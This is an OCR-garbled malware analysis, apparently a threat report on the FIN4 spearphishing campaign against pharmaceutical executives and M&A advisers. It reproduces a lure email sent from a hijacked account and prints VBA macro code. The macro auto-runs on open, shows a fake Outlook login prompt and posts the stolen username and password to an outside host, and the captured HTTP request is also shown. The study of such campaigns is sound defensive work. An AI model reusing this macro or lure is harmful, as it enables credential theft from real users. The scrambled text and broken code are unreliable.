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CEO_CFO_COO_CORPDEV
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<PHARMACEUTICAL COMPANY
NAME>

£ (StrComp (usr,
isPopupComplete = False

<ADVISORY FIRM NAME>
FING FEX LA TR AR RATIR G ENAY A
PEFIZRBRRIR. XA Tan BTN
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""", vbTextCompare) = 0) Or (StrComp (us

MsgBox ("Invalid username or password. Please try a

Unload UserLoginForm
lse
Unload UserLoginForm

Call postUpload(usr, pwd,

isPopupComplete = True
d If

"CEO CFO COO CORPDEV")
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FINA BOEEAR : BBpAES

Subject: employee making negative comments about you and the
company

From: <name>@<{compromised company's domain>

I noticed that a user named FinanceBul182 (claiming to be an
employea) in an investment discussion forum posted some negative
comments about the company in general (executive compensation
mainly) and you in specific (overpaid and incompetent). He gave
detailed instances af his disagreements, and in doing so. may hav
unwittingly divulged confidential company information regarding
pending transactions.

I am a Tongtime client and I do not think that this will bode wel
for future business. The post generated quite a few replies, most
of them agreeing with the negative statements. While I understand
that the employee has the right te his opinion, perhaps he should
have wented his frustrations through the appropriate channels
before making his post. The 1ink to the post is located here (it
is the second one in the thread):

http://forum.<domain*/redirect.
phpfurl=http://<domain>E2fforumE2fequitiesE2f37582390282farticla.
phphpar

Could you please talk to him?

Thank you for the assistance,

<name?
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FIM4 uses a hijacked e-mail Public Company A The market responds
CCl i il ail to annmounces its plans to the public

to spearphish ME&A specialists the M&A team at regarding a possible announcement with

at Advisory Firm B. Public Company A, as ME&EA deal with Public wide fluctuati

Both Advisory Firm A and - Company B. in the stock pri

Advisory Firm B are advising : o il

Public Company A on a large S gzg-ll!:acnyAand B

M&A opportunity. ic Company B.

MEA-themed spearphish from
hijacked account

The spearphishing emall pertains
directly to the pending deal,
which is not vet public at the time
the spearphish is sent

SEC-Themed spearphish
from hijacked account

ADVISORY FIRM A
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|
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¥
ADVISORY FIRMB PUBLIC COMPANY A
Advisory Firm A and Advisory .
Firm B are advising Public Involved in M&A
Company & abouta discussions with Public
prospective MEA deal with COMPANY B
Public Company B
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i1FIA vBA ERIIIBRFIEIEN T4
NEERI , m8— Microsoft Word B,
Excel RN EEZ |, IR BA{iEA]
Y Outlook $EIE, Ffi IR AINZELTERR
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Attribute VB Name = "Module1®

Option Explicit

Dim Ret As Long
Public isPopupComplete As Boolean

FREEAR,
EEEXERERAN VBA R
R VBA ZRH— N EEEYRY “Modulel”
FEERFO#EFR “UserForm1” F1“UserLoginForm”

REFEO. Modulel FRIXIEERS 2
RS eI TIBEFAERIEE (B 7 )

Sub AutoOpensSub ()

Call postUpload("null®, "null", "word")

isPopupComplete = False
While (Not isPopupComplete)
UserLoginForm.Show
sheetOpen
Wend
End Sub

Sub sheetOpen()
Selection.WholeStory
Selection.Font.Hidden = False

End Sub

Public Function postUpload(ByVal usr n spc As String, ByVal pwd n spc As String, By

Dim object HTTP As Object

Set object HTTP = CreateObject ("WinHttp.WinHttpRequest.5.1")
object HTTP.Open "POST", “http://www.junomaat8l.us/reporter.php?msg=" & msg n s

object HTTP.send ("")
End Function|

B 7 : BF&EHETEFNEI "Modulel ” =61
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E (StrComp{usr, "", vbTextCompare) = 0) Or (StrComp(us
isPopupComplete = False
MsgBox ("Invalid username or password. Please try a
Unload UserLoginForm
lse
Unlcad UserLoginForm
Call postUpload(usr, pwd, |"CEC CFO COC CORPDEV")
1sPopupComplete = True
d If

B 8 : “Userrorm1“REFITHI
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Windows Security x|

Your Outlook session has expired. Please log in to continue.

| User name |

gj [T Remamber my cradantiak

OK |
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POST /report.php?msg=FAKE_PHARMA&uname=john.doe&pword=abcl123 HTTP/1.1

Connection: Keep-Alive

Content-Type: text/plain; Charset=UTF-8

Accept: */*
Accept-Language: en-us

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1;

Trident/6.0)
Content-Length: 0
Host: www.junomaat8l.us
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Mozi1la/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0

Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko,/20100101 Firefox/24.0
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